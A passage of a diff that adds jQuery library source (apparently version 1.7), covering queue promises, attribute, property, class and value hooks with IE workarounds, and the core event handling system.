queues of a certain type + // are emptied (fx is the type by default) + promise: function( type, object ) { + if ( typeof type !== "string" ) { + object = type; + type = undefined; + } + type = type || "fx"; + var defer = jQuery.Deferred(), + elements = this, + i = elements.length, + count = 1, + deferDataKey = type + "defer", + queueDataKey = type + "queue", + markDataKey = type + "mark", + tmp; + function resolve() { + if ( !( --count ) ) { + defer.resolveWith( elements, [ elements ] ); + } + } + while( i-- ) { + if (( tmp = jQuery.data( elements[ i ], deferDataKey, undefined, true ) || + ( jQuery.data( elements[ i ], queueDataKey, undefined, true ) || + jQuery.data( elements[ i ], markDataKey, undefined, true ) ) && + jQuery.data( elements[ i ], deferDataKey, jQuery.Callbacks( "once memory" ), true ) )) { + count++; + tmp.add( resolve ); + } + } + resolve(); + return defer.promise(); + } +}); + + + + +var rclass = /[\n\t\r]/g, + rspace = /\s+/, + rreturn = /\r/g, + rtype = /^(?:button|input)$/i, + rfocusable = /^(?:button|input|object|select|textarea)$/i, + rclickable = /^a(?:rea)?$/i, + rboolean = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i, + getSetAttribute = jQuery.support.getSetAttribute, + nodeHook, boolHook, fixSpecified; + +jQuery.fn.extend({ + attr: function( name, value ) { + return jQuery.access( this, name, value, true, jQuery.attr ); + }, + + removeAttr: function( name ) { + return this.each(function() { + jQuery.removeAttr( this, name ); + }); + }, + + prop: function( name, value ) { + return jQuery.access( this, name, value, true, jQuery.prop ); + }, + + removeProp: function( name ) { + name = jQuery.propFix[ name ] || name; + return this.each(function() { + // try/catch handles cases where IE balks (such as removing a property on window) + try { + this[ name ] = undefined; + delete this[ name ]; + } catch( e ) {} + }); + }, + + addClass: function( value ) { + var classNames, i, l, elem, + setClass, c, cl; + + if ( jQuery.isFunction( value ) ) { + return this.each(function( j ) { + jQuery( this ).addClass( value.call(this, j, this.className) ); + }); + } + + if ( value && typeof value === "string" ) { + classNames = value.split( rspace ); + + for ( i = 0, l = this.length; i < l; i++ ) { + elem = this[ i ]; + + if ( elem.nodeType === 1 ) { + if ( !elem.className && classNames.length === 1 ) { + elem.className = value; + + } else { + setClass = " " + elem.className + " "; + + for ( c = 0, cl = classNames.length; c < cl; c++ ) { + if ( !~setClass.indexOf( " " + classNames[ c ] + " " ) ) { + setClass += classNames[ c ] + " "; + } + } + elem.className = jQuery.trim( setClass ); + } + } + } + } + + return this; + }, + + removeClass: function( value ) { + var classNames, i, l, elem, className, c, cl; + + if ( jQuery.isFunction( value ) ) { + return this.each(function( j ) { + jQuery( this ).removeClass( value.call(this, j, this.className) ); + }); + } + + if ( (value && typeof value === "string") || value === undefined ) { + classNames = ( value || "" ).split( rspace ); + + for ( i = 0, l = this.length; i < l; i++ ) { + elem = this[ i ]; + + if ( elem.nodeType === 1 && elem.className ) { + if ( value ) { + className = (" " + elem.className + " ").replace( rclass, " " ); + for ( c = 0, cl = classNames.length; c < cl; c++ ) { + className = className.replace(" " + classNames[ c ] + " ", " "); + } + elem.className = jQuery.trim( className ); + + } else { + elem.className = ""; + } + } + } + } + + return this; + }, + + toggleClass: function( value, stateVal ) { + var type = typeof value, + isBool = typeof stateVal === "boolean"; + + if ( jQuery.isFunction( value ) ) { + return this.each(function( i ) { + jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal ); + }); + } + + return this.each(function() { + if ( type === "string" ) { + // toggle individual class names + var className, + i = 0, + self = jQuery( this ), + state = stateVal, + classNames = value.split( rspace ); + + while ( (className = classNames[ i++ ]) ) { + // check each className given, space seperated list + state = isBool ? state : !self.hasClass( className ); + self[ state ? "addClass" : "removeClass" ]( className ); + } + + } else if ( type === "undefined" || type === "boolean" ) { + if ( this.className ) { + // store className if set + jQuery._data( this, "__className__", this.className ); + } + + // toggle whole className + this.className = this.className || value === false ? "" : jQuery._data( this, "__className__" ) || ""; + } + }); + }, + + hasClass: function( selector ) { + var className = " " + selector + " ", + i = 0, + l = this.length; + for ( ; i < l; i++ ) { + if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) > -1 ) { + return true; + } + } + + return false; + }, + + val: function( value ) { + var hooks, ret, isFunction, + elem = this[0]; + + if ( !arguments.length ) { + if ( elem ) { + hooks = jQuery.valHooks[ elem.nodeName.toLowerCase() ] || jQuery.valHooks[ elem.type ]; + + if ( hooks && "get" in hooks && (ret = hooks.get( elem, "value" )) !== undefined ) { + return ret; + } + + ret = elem.value; + + return typeof ret === "string" ? + // handle most common string cases + ret.replace(rreturn, "") : + // handle cases where value is null/undef or number + ret == null ? "" : ret; + } + + return; + } + + isFunction = jQuery.isFunction( value ); + + return this.each(function( i ) { + var self = jQuery(this), val; + + if ( this.nodeType !== 1 ) { + return; + } + + if ( isFunction ) { + val = value.call( this, i, self.val() ); + } else { + val = value; + } + + // Treat null/undefined as ""; convert numbers to string + if ( val == null ) { + val = ""; + } else if ( typeof val === "number" ) { + val += ""; + } else if ( jQuery.isArray( val ) ) { + val = jQuery.map(val, function ( value ) { + return value == null ? "" : value + ""; + }); + } + + hooks = jQuery.valHooks[ this.nodeName.toLowerCase() ] || jQuery.valHooks[ this.type ]; + + // If set returns undefined, fall back to normal setting + if ( !hooks || !("set" in hooks) || hooks.set( this, val, "value" ) === undefined ) { + this.value = val; + } + }); + } +}); + +jQuery.extend({ + valHooks: { + option: { + get: function( elem ) { + // attributes.value is undefined in Blackberry 4.7 but + // uses .value. See #6932 + var val = elem.attributes.value; + return !val || val.specified ? elem.value : elem.text; + } + }, + select: { + get: function( elem ) { + var value, i, max, option, + index = elem.selectedIndex, + values = [], + options = elem.options, + one = elem.type === "select-one"; + + // Nothing was selected + if ( index < 0 ) { + return null; + } + + // Loop through all the selected options + i = one ? index : 0; + max = one ? index + 1 : options.length; + for ( ; i < max; i++ ) { + option = options[ i ]; + + // Don't return options that are disabled or in a disabled optgroup + if ( option.selected && (jQuery.support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) && + (!option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" )) ) { + + // Get the specific value for the option + value = jQuery( option ).val(); + + // We don't need an array for one selects + if ( one ) { + return value; + } + + // Multi-Selects return an array + values.push( value ); + } + } + + // Fixes Bug #2551 -- select.val() broken in IE after form.reset() + if ( one && !values.length && options.length ) { + return jQuery( options[ index ] ).val(); + } + + return values; + }, + + set: function( elem, value ) { + var values = jQuery.makeArray( value ); + + jQuery(elem).find("option").each(function() { + this.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0; + }); + + if ( !values.length ) { + elem.selectedIndex = -1; + } + return values; + } + } + }, + + attrFn: { + val: true, + css: true, + html: true, + text: true, + data: true, + width: true, + height: true, + offset: true + }, + + attr: function( elem, name, value, pass ) { + var ret, hooks, notxml, + nType = elem.nodeType; + + // don't get/set attributes on text, comment and attribute nodes + if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { + return; + } + + if ( pass && name in jQuery.attrFn ) { + return jQuery( elem )[ name ]( value ); + } + + // Fallback to prop when attributes are not supported + if ( typeof elem.getAttribute === "undefined" ) { + return jQuery.prop( elem, name, value ); + } + + notxml = nType !== 1 || !jQuery.isXMLDoc( elem ); + + // All attributes are lowercase + // Grab necessary hook if one is defined + if ( notxml ) { + name = name.toLowerCase(); + hooks = jQuery.attrHooks[ name ] || ( rboolean.test( name ) ? boolHook : nodeHook ); + } + + if ( value !== undefined ) { + + if ( value === null ) { + jQuery.removeAttr( elem, name ); + return; + + } else if ( hooks && "set" in hooks && notxml && (ret = hooks.set( elem, value, name )) !== undefined ) { + return ret; + + } else { + elem.setAttribute( name, "" + value ); + return value; + } + + } else if ( hooks && "get" in hooks && notxml && (ret = hooks.get( elem, name )) !== null ) { + return ret; + + } else { + + ret = elem.getAttribute( name ); + + // Non-existent attributes return null, we normalize to undefined + return ret === null ? + undefined : + ret; + } + }, + + removeAttr: function( elem, value ) { + var propName, attrNames, name, l, + i = 0; + + if ( value && elem.nodeType === 1 ) { + attrNames = value.toLowerCase().split( rspace ); + l = attrNames.length; + + for ( ; i < l; i++ ) { + name = attrNames[ i ]; + + if ( name ) { + propName = jQuery.propFix[ name ] || name; + + // See #9699 for explanation of this approach (setting first, then removal) + jQuery.attr( elem, name, "" ); + elem.removeAttribute( getSetAttribute ? name : propName ); + + // Set corresponding property to false for boolean attributes + if ( rboolean.test( name ) && propName in elem ) { + elem[ propName ] = false; + } + } + } + } + }, + + attrHooks: { + type: { + set: function( elem, value ) { + // We can't allow the type property to be changed (since it causes problems in IE) + if ( rtype.test( elem.nodeName ) && elem.parentNode ) { + jQuery.error( "type property can't be changed" ); + } else if ( !jQuery.support.radioValue && value === "radio" && jQuery.nodeName(elem, "input") ) { + // Setting the type on a radio button after the value resets the value in IE6-9 + // Reset value to it's default in case type is set after value + // This is for element creation + var val = elem.value; + elem.setAttribute( "type", value ); + if ( val ) { + elem.value = val; + } + return value; + } + } + }, + // Use the value property for back compat + // Use the nodeHook for button elements in IE6/7 (#1954) + value: { + get: function( elem, name ) { + if ( nodeHook && jQuery.nodeName( elem, "button" ) ) { + return nodeHook.get( elem, name ); + } + return name in elem ? + elem.value : + null; + }, + set: function( elem, value, name ) { + if ( nodeHook && jQuery.nodeName( elem, "button" ) ) { + return nodeHook.set( elem, value, name ); + } + // Does not return so that setAttribute is also used + elem.value = value; + } + } + }, + + propFix: { + tabindex: "tabIndex", + readonly: "readOnly", + "for": "htmlFor", + "class": "className", + maxlength: "maxLength", + cellspacing: "cellSpacing", + cellpadding: "cellPadding", + rowspan: "rowSpan", + colspan: "colSpan", + usemap: "useMap", + frameborder: "frameBorder", + contenteditable: "contentEditable" + }, + + prop: function( elem, name, value ) { + var ret, hooks, notxml, + nType = elem.nodeType; + + // don't get/set properties on text, comment and attribute nodes + if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { + return; + } + + notxml = nType !== 1 || !jQuery.isXMLDoc( elem ); + + if ( notxml ) { + // Fix name and attach hooks + name = jQuery.propFix[ name ] || name; + hooks = jQuery.propHooks[ name ]; + } + + if ( value !== undefined ) { + if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) { + return ret; + + } else { + return ( elem[ name ] = value ); + } + + } else { + if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) { + return ret; + + } else { + return elem[ name ]; + } + } + }, + + propHooks: { + tabIndex: { + get: function( elem ) { + // elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set + // http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/ + var attributeNode = elem.getAttributeNode("tabindex"); + + return attributeNode && attributeNode.specified ? + parseInt( attributeNode.value, 10 ) : + rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ? + 0 : + undefined; + } + } + } +}); + +// Add the tabIndex propHook to attrHooks for back-compat (different case is intentional) +jQuery.attrHooks.tabindex = jQuery.propHooks.tabIndex; + +// Hook for boolean attributes +boolHook = { + get: function( elem, name ) { + // Align boolean attributes with corresponding properties + // Fall back to attribute presence where some booleans are not supported + var attrNode, + property = jQuery.prop( elem, name ); + return property === true || typeof property !== "boolean" && ( attrNode = elem.getAttributeNode(name) ) && attrNode.nodeValue !== false ? + name.toLowerCase() : + undefined; + }, + set: function( elem, value, name ) { + var propName; + if ( value === false ) { + // Remove boolean attributes when set to false + jQuery.removeAttr( elem, name ); + } else { + // value is true since we know at this point it's type boolean and not false + // Set boolean attributes to the same name and set the DOM property + propName = jQuery.propFix[ name ] || name; + if ( propName in elem ) { + // Only set the IDL specifically if it already exists on the element + elem[ propName ] = true; + } + + elem.setAttribute( name, name.toLowerCase() ); + } + return name; + } +}; + +// IE6/7 do not support getting/setting some attributes with get/setAttribute +if ( !getSetAttribute ) { + + fixSpecified = { + name: true, + id: true + }; + + // Use this for any attribute in IE6/7 + // This fixes almost every IE6/7 issue + nodeHook = jQuery.valHooks.button = { + get: function( elem, name ) { + var ret; + ret = elem.getAttributeNode( name ); + return ret && ( fixSpecified[ name ] ? ret.nodeValue !== "" : ret.specified ) ? + ret.nodeValue : + undefined; + }, + set: function( elem, value, name ) { + // Set the existing or create a new attribute node + var ret = elem.getAttributeNode( name ); + if ( !ret ) { + ret = document.createAttribute( name ); + elem.setAttributeNode( ret ); + } + return ( ret.nodeValue = value + "" ); + } + }; + + // Apply the nodeHook to tabindex + jQuery.attrHooks.tabindex.set = nodeHook.set; + + // Set width and height to auto instead of 0 on empty string( Bug #8150 ) + // This is for removals + jQuery.each([ "width", "height" ], function( i, name ) { + jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], { + set: function( elem, value ) { + if ( value === "" ) { + elem.setAttribute( name, "auto" ); + return value; + } + } + }); + }); + + // Set contenteditable to false on removals(#10429) + // Setting to empty string throws an error as an invalid value + jQuery.attrHooks.contenteditable = { + get: nodeHook.get, + set: function( elem, value, name ) { + if ( value === "" ) { + value = "false"; + } + nodeHook.set( elem, value, name ); + } + }; +} + + +// Some attributes require a special call on IE +if ( !jQuery.support.hrefNormalized ) { + jQuery.each([ "href", "src", "width", "height" ], function( i, name ) { + jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], { + get: function( elem ) { + var ret = elem.getAttribute( name, 2 ); + return ret === null ? undefined : ret; + } + }); + }); +} + +if ( !jQuery.support.style ) { + jQuery.attrHooks.style = { + get: function( elem ) { + // Return undefined in the case of empty string + // Normalize to lowercase since IE uppercases css property names + return elem.style.cssText.toLowerCase() || undefined; + }, + set: function( elem, value ) { + return ( elem.style.cssText = "" + value ); + } + }; +} + +// Safari mis-reports the default selected property of an option +// Accessing the parent's selectedIndex property fixes it +if ( !jQuery.support.optSelected ) { + jQuery.propHooks.selected = jQuery.extend( jQuery.propHooks.selected, { + get: function( elem ) { + var parent = elem.parentNode; + + if ( parent ) { + parent.selectedIndex; + + // Make sure that it also works with optgroups, see #5701 + if ( parent.parentNode ) { + parent.parentNode.selectedIndex; + } + } + return null; + } + }); +} + +// IE6/7 call enctype encoding +if ( !jQuery.support.enctype ) { + jQuery.propFix.enctype = "encoding"; +} + +// Radios and checkboxes getter/setter +if ( !jQuery.support.checkOn ) { + jQuery.each([ "radio", "checkbox" ], function() { + jQuery.valHooks[ this ] = { + get: function( elem ) { + // Handle the case where in Webkit "" is returned instead of "on" if a value isn't specified + return elem.getAttribute("value") === null ? "on" : elem.value; + } + }; + }); +} +jQuery.each([ "radio", "checkbox" ], function() { + jQuery.valHooks[ this ] = jQuery.extend( jQuery.valHooks[ this ], { + set: function( elem, value ) { + if ( jQuery.isArray( value ) ) { + return ( elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0 ); + } + } + }); +}); + + + + +var rformElems = /^(?:textarea|input|select)$/i, + rtypenamespace = /^([^\.]*)?(?:\.(.+))?$/, + rhoverHack = /\bhover(\.\S+)?\b/, + rkeyEvent = /^key/, + rmouseEvent = /^(?:mouse|contextmenu)|click/, + rfocusMorph = /^(?:focusinfocus|focusoutblur)$/, + rquickIs = /^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/, + quickParse = function( selector ) { + var quick = rquickIs.exec( selector ); + if ( quick ) { + // 0 1 2 3 + // [ _, tag, id, class ] + quick[1] = ( quick[1] || "" ).toLowerCase(); + quick[3] = quick[3] && new RegExp( "(?:^|\\s)" + quick[3] + "(?:\\s|$)" ); + } + return quick; + }, + quickIs = function( elem, m ) { + var attrs = elem.attributes || {}; + return ( + (!m[1] || elem.nodeName.toLowerCase() === m[1]) && + (!m[2] || (attrs.id || {}).value === m[2]) && + (!m[3] || m[3].test( (attrs[ "class" ] || {}).value )) + ); + }, + hoverHack = function( events ) { + return jQuery.event.special.hover ? events : events.replace( rhoverHack, "mouseenter$1 mouseleave$1" ); + }; + +/* + * Helper functions for managing events -- not part of the public interface. + * Props to Dean Edwards' addEvent library for many of the ideas. + */ +jQuery.event = { + + add: function( elem, types, handler, data, selector ) { + + var elemData, eventHandle, events, + t, tns, type, namespaces, handleObj, + handleObjIn, quick, handlers, special; + + // Don't attach events to noData or text/comment nodes (allow plain objects tho) + if ( elem.nodeType === 3 || elem.nodeType === 8 || !types || !handler || !(elemData = jQuery._data( elem )) ) { + return; + } + + // Caller can pass in an object of custom data in lieu of the handler + if ( handler.handler ) { + handleObjIn = handler; + handler = handleObjIn.handler; + } + + // Make sure that the handler has a unique ID, used to find/remove it later + if ( !handler.guid ) { + handler.guid = jQuery.guid++; + } + + // Init the element's event structure and main handler, if this is the first + events = elemData.events; + if ( !events ) { + elemData.events = events = {}; + } + eventHandle = elemData.handle; + if ( !eventHandle ) { + elemData.handle = eventHandle = function( e ) { + // Discard the second event of a jQuery.event.trigger() and + // when an event is called after a page has unloaded + return typeof jQuery !== "undefined" && (!e || jQuery.event.triggered !== e.type) ? + jQuery.event.dispatch.apply( eventHandle.elem, arguments ) : + undefined; + }; + // Add elem as a property of the handle fn to prevent a memory leak with IE non-native events + eventHandle.elem = elem; + } + + // Handle multiple events separated by a space + // jQuery(...).bind("mouseover mouseout", fn); + types = jQuery.trim( hoverHack(types) ).split( " " ); + for ( t = 0; t < types.length; t++ ) { + + tns = rtypenamespace.exec( types[t] ) || []; + type = tns[1]; + namespaces = ( tns[2] || "" ).split( "." ).sort(); + + // If event changes its type, use the special event handlers for the changed type + special = jQuery.event.special[ type ] || {}; + + // If selector defined, determine special event api type, otherwise given type + type = ( selector ? special.delegateType : special.bindType ) || type; + + // Update special based on newly reset type + special = jQuery.event.special[ type ] || {}; + + // handleObj is passed to all event handlers + handleObj = jQuery.extend({ + type: type, + origType: tns[1], + data: data, + handler: handler, + guid: handler.guid, + selector: selector, + quick: quickParse( selector ), + namespace: namespaces.join(".") + }, handleObjIn ); + + // Init the event handler queue if we're the first + handlers = events[ type ]; + if ( !handlers ) { + handlers = events[ type ] = []; + handlers.delegateCount = 0; + + // Only use addEventListener/attachEvent if the special events handler returns false + if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) { + // Bind the global event handler to the element + if ( elem.addEventListener ) { + elem.addEventListener( type, eventHandle, false ); + + } else if ( elem.attachEvent ) { + elem.attachEvent( "on" + type, eventHandle ); + } + } + } + + if ( special.add ) { + special.add.call( elem, handleObj ); + + if ( !handleObj.handler.guid ) { + handleObj.handler.guid = handler.guid; + } + } + + // Add to the element's handler list, delegates in front + if ( selector ) { + handlers.splice( handlers.delegateCount++, 0, handleObj ); + } else { + handlers.push( handleObj ); + } + + // Keep track of which events have ever been used, for event optimization + jQuery.event.global[ type ] = true; + } + + // Nullify elem to prevent memory leaks in IE + elem = null; + }, + + global: {}, + + // Detach an event or set of events from an element + remove: function( elem, types, handler, selector, mappedTypes ) { + + var elemData = jQuery.hasData( elem ) && jQuery._data( elem ), + t, tns, type, origType, namespaces, origCount, + j, events, special, handle, eventType, handleObj; + + if ( !elemData || !(events = elemData.events) ) { + return; + } + + // Once for each type.namespace in types; type may be omitted + types = jQuery.trim( hoverHack( types || "" ) ).split(" "); + for ( t = 0; t < types.length; t++ ) { + tns = rtypenamespace.exec( types[t] ) || []; + type = origType = tns[1]; + namespaces = tns[2]; + + // Unbind all events (on this namespace, if provided) for the element + if ( !type ) { + for ( type in events ) { + jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); + } + continue; + } + + special = jQuery.event.special[ type ] || {}; + type = ( selector? special.delegateType : special.bindType ) || type; + eventType = events[ type ] || []; + origCount = eventType.length; + namespaces = namespaces ? new RegExp("(^|\\.)" + namespaces.split(".").sort().join("\\.(?:.*\\.)?") + "(\\.|$)") : null; + + // Remove matching events + for ( j = 0; j < eventType.length; j++ ) { + handleObj = eventType[ j ]; + + if ( ( mappedTypes || origType === handleObj.origType ) && + ( !handler || handler.guid === handleObj.guid ) && + ( !namespaces || namespaces.test( handleObj.namespace ) ) && + ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) { + eventType.splice( j--, 1 ); + + if ( handleObj.selector ) { + eventType.delegateCount--; + } + if ( special.remove ) { + special.remove.call( elem, handleObj ); + } + } + } + + // Remove generic event handler if we removed something and no more handlers exist + // (avoids potential for endless recursion during removal of special event handlers) + if ( eventType.length === 0 && origCount !== eventType.length ) { + if ( !special.teardown || special.teardown.call( elem, namespaces ) === false ) { + jQuery.removeEvent( elem, type, elemData.handle ); + } + + delete events[ type ]; + } + } + + // Remove the expando if it's no longer used + if ( jQuery.isEmptyObject( events ) ) { + handle = elemData.handle; + if ( handle ) { + handle.elem = null; + } + + // removeData also checks for emptiness and clears the expando if empty + // so use it instead of delete + jQuery.removeData( elem, [ "events", "handle" ], true ); + } + }, + + // Events that are safe to short-circuit if no handlers are attached. + // Native DOM events should not be added, they may have inline handlers. + customEvent: { + "getData": true, + "setData": true, + "changeData": true + }, + + trigger: function( event, data, elem, onlyHandlers ) { + // Don't do events on text and comment nodes + if ( elem && (elem.nodeType === 3 || elem.nodeType === 8) ) { + return; + } + + // Event object or event type + var type = event.type || event, + namespaces = [], + cache, exclusive, i, cur, old, ontype, special, handle, eventPath, bubbleType; + + // focus/blur morphs to focusin/out; ensure we're not firing them right now + if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { + return; + } + + if ( type.indexOf( "!" ) >= 0 ) { + // Exclusive events trigger only for the exact event (no namespaces) + type = type.slice(0, -1); + exclusive = true; + } + + if ( type.indexOf( "." ) >= 0 ) { + // Namespaced trigger; create a regexp to match event type in handle() + namespaces = type.split("."); + type = namespaces.shift(); + namespaces.sort(); + } + + if ( (!elem || jQuery.event.customEvent[ type ]) && !jQuery.event.global[ type ] ) { + // No jQuery handlers for this event type, and it can't have inline handlers + return; + } + + // Caller can pass in an Event, Object, or just an event type string + event = typeof event === "object" ? + // jQuery.Event object + event[ jQuery.expando ] ? event : + // Object literal + new jQuery.Event( type, event ) : + // Just the event type (string) + new jQuery.Event( type ); + + event.type = type; + event.isTrigger = true; + event.exclusive = exclusive; + event.namespace = namespaces.join( "." ); + event.namespace_re = event.namespace? new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.)?") + "(\\.|$)") : null; + ontype = type.indexOf( ":" ) < 0 ? "on" + type : ""; + + // Handle a global trigger + if ( !elem ) { + + // TODO: Stop taunting the data cache; remove global events and always attach to document + cache = jQuery.cache; + for ( i in cache ) { + if ( cache[ i ].events && cache[ i ].events[ type ] ) { + jQuery.event.trigger( event, data, cache[ i ].handle.elem, true ); + } + } + return; + } + + // Clean up the event in case it is being reused + event.result = undefined; + if ( !event.target ) { + event.target = elem; + } + + // Clone any incoming data and prepend the event, creating the handler arg list + data = data != null ? jQuery.makeArray( data ) : []; + data.unshift( event ); + + // Allow special events to draw outside the lines + special = jQuery.event.special[ type ] || {}; + if ( special.trigger && special.trigger.apply( elem, data ) === false ) { + return; + } + + // Determine event propagation path in advance, per W3C events spec (#9951) + // Bubble up to document, then to window; watch for a global ownerDocument var (#9724) + eventPath = [[ elem, special.bindType || type ]]; + if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) { + + bubbleType = special.delegateType || type; + cur = rfocusMorph.test( bubbleType + type ) ? elem : elem.parentNode; + old = null; + for ( ; cur; cur = cur.parentNode ) { + eventPath.push([ cur, bubbleType ]); + old = cur; + } + + // Only add window if we got to document (e.g., not plain obj or detached DOM) + if ( old && old === elem.ownerDocument ) { + eventPath.push([ old.defaultView || old.parentWindow || window, bubbleType ]); + } + } + + // Fire handlers on the event path + for ( i = 0; i < eventPath.length && !event.isPropagationStopped(); i++ ) { + + cur = eventPath[i][0]; + event.type = eventPath[i][1]; + + handle = ( jQuery._data( cur, "events" ) || {} )[ event.type ] && jQuery._data( cur, "handle" ); + if ( handle ) { + handle.apply( cur, data ); + } + // Note that this is a bare JS function and not a jQuery handler + handle = ontype && cur[ ontype ]; + if ( handle && jQuery.acceptData( cur ) && handle.apply( cur, data ) === false ) { + event.preventDefault(); + } + } + event.type = type; + + // If nobody prevented the default action, do it now + if ( !onlyHandlers && !event.isDefaultPrevented() ) { + + if ( (!special._default || special._default.apply( elem.ownerDocument, data ) === false) && + !(type === "click" && jQuery.nodeName( elem, "a" )) && jQuery.acceptData( elem ) ) { + + // Call a native DOM method on the target with the same name name as the event. + // Can't use an .isFunction() check here because IE6/7 fails that test. + // Don't do default actions on window, that's where global variables be (#6170) + // IE<9 dies on focus/blur to hidden element (#1486) + if ( ontype && elem[ type ] && ((type !== "focus" && type !== "blur") || event.target.offsetWidth !== 0) && !jQuery.isWindow( elem ) ) { + + // Don't re-trigger an onFOO event when we call its FOO() method + old = elem[ ontype ]; + + if ( old ) { + elem[ ontype ] = null; + } + + // Prevent re-triggering of the same event, since we already bubbled it above + jQuery.event.triggered = type; + elem[ type ](); + jQuery.event.triggered = undefined; + + if ( old ) { + elem[ ontype ] = old; + } + } + } + } + + return event.result; + }, + + dispatch: function( event ) { + + // Make a writable jQuery.Event from the native event object + event = jQuery.event.fix( event || window.event ); + + var handlers = ( (jQuery._data( this, "events" ) || {} )[ event.type ] || []), + delegateCount = handlers.delegateCount, + args = [].slice.call( arguments, 0 ), + run_all = !event.exclusive && !event.namespace, + handlerQueue = [], + i, j, cur, jqcur, ret, selMatch, matched, matches, handleObj, sel, related; + + // Use the fix-ed jQuery.Event rather than the (read-only) native event + args[0] = event; + event.delegateTarget = this; + + // Determine handlers that should run if there are delegated events + // Avoid disabled elements in IE (#6911) and non-left-click bubbling in Firefox (#3861) + if ( delegateCount && !event.target.disabled && !(event.button && event.type === "click") ) { + + // Pregenerate a single jQuery object for reuse with .is() + jqcur = jQuery(this); + jqcur.context = this.ownerDocument || this; + + for ( cur = event.target; cur != this; cur = cur.parentNode || this ) { + selMatch = {}; + matches = []; + jqcur[0] = cur; + for ( i = 0; i < delegateCount; i++ ) { + handleObj = handlers[ i ]; + sel = handleObj.selector; + + if ( selMatch[ sel ] === undefined ) { + selMatch[ sel ] = ( + handleObj.quick ? quickIs( cur, handleObj.quick ) : jqcur.is( sel ) + ); + } + if ( selMatch[ sel ] ) { + matches.push( handleObj ); + } + } + if ( matches.length ) { + handlerQueue.push({ elem: cur, matches: matches }); + } + } + } + + // Add the remaining (directly-bound) handlers + if ( handlers.length > delegateCount ) { + handlerQueue.push({ elem: this, matches: handlers.slice( delegateCount ) }); + } + + // Run delegates first; they may want to stop propagation beneath us + for ( i = 0; i < handlerQueue.length && !event.isPropagationStopped(); i++ ) { + matched = handlerQueue[ i ]; + event.currentTarget = matched.elem; + + for ( j = 0; j < matched.matches.length && !event.isImmediatePropagationStopped(); j++ ) { + handleObj = matched.matches[ j ]; + + // Triggered event must either 1) be non-exclusive and have no namespace, or + // 2) have namespace(s) a subset or equal to those in the bound event (both can have no namespace). + if ( run_all || (!event.namespace && !handleObj.namespace) || event.namespace_re && event.namespace_re.test( handleObj.namespace ) ) { + + event.data = handleObj.data; + event.handleObj = handleObj; + + ret = ( (jQuery.event.special[ handleObj.origType ] || {}).handle || handleObj.handler ) + .apply( matched.elem, args ); + + if ( ret !== undefined ) { + event.result = ret; + if ( ret === false ) { + event.preventDefault(); + event.stopPropagation(); + } + } + } + } + } + + return event.result; + }, + + // Includes some event props shared by KeyEvent and MouseEvent + // *** attrChange attrName relatedNode srcElement are not normalized, non-W3C, deprecated, will be removed in 1.8 *** + props: "attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "), + + fixHooks: {}, + + keyHooks: { + props: "char charCode key keyCode".split(" "), + filter: function( event, original ) { + + // Add which for key events + if ( event.which == null ) { + event.which = original.charCode != null ? original.charCode : original.keyCode; + } + + return event; + } + }, + + mouseHooks: { + props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "), + filter: function( event, original ) { + var eventDoc, doc, body, + button = original.button, + fromElement = original.fromElement; + + // Calculate pageX/Y if missing and clientX/Y available + if ( event.pageX == null && original.clientX != null ) { + eventDoc = event.target.ownerDocument || document; + doc = eventDoc.documentElement; + body = eventDoc.body; + + event.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 ); + event.pageY = original.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && body.clientTop || 0 ); + } + + // Add relatedTarget, if necessary + if ( !event.relatedTarget && fromElement ) { + event.relatedTarget = fromElement === event.target ? original.toElement : fromElement; + } + + // Add which for click: 1 === left; 2 === middle; 3 === right + // Note: button is not normalized, so don't use it + if ( !event.which && button !== undefined ) { + event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) ); + } + + return event; + } + }, + + fix: function( event ) { + if ( event[ jQuery.expando ] ) { + return event; + } + + // Create a writable copy of the event object and normalize some properties + var i, prop, + originalEvent = event, + fixHook = jQuery.event.fixHooks[ event.type ] || {}, + copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props; + + event = jQuery.Event( originalEvent ); + + for ( i = copy.length; i; ) { + prop = copy[ --i ]; + event[ prop ] = originalEvent[ prop ]; + } + + // Fix target property, if necessary (#1925, IE 6/7/8 & Safari2) + if ( !event.target ) { + event.target = originalEvent.srcElement || document; + } + + // Target should not be a text node (#504, Safari) + if ( event.target.nodeType === 3 ) { + event.target = event.target.parentNode; + } + + // For mouse/key events; add metaKey if it's not there (#3368, IE6/7/8) + if ( event.metaKey === undefined ) { + event.metaKey = event.ctrlKey; + } + + return fixHook.filter? fixHook.filter( event, originalEvent ) : event; + }, + + special: { + ready: { + // Make sure the ready event is setup + setup: jQuery.bindReady + }, + + load: { + // Prevent triggered image.load events from bubbling to window.load + 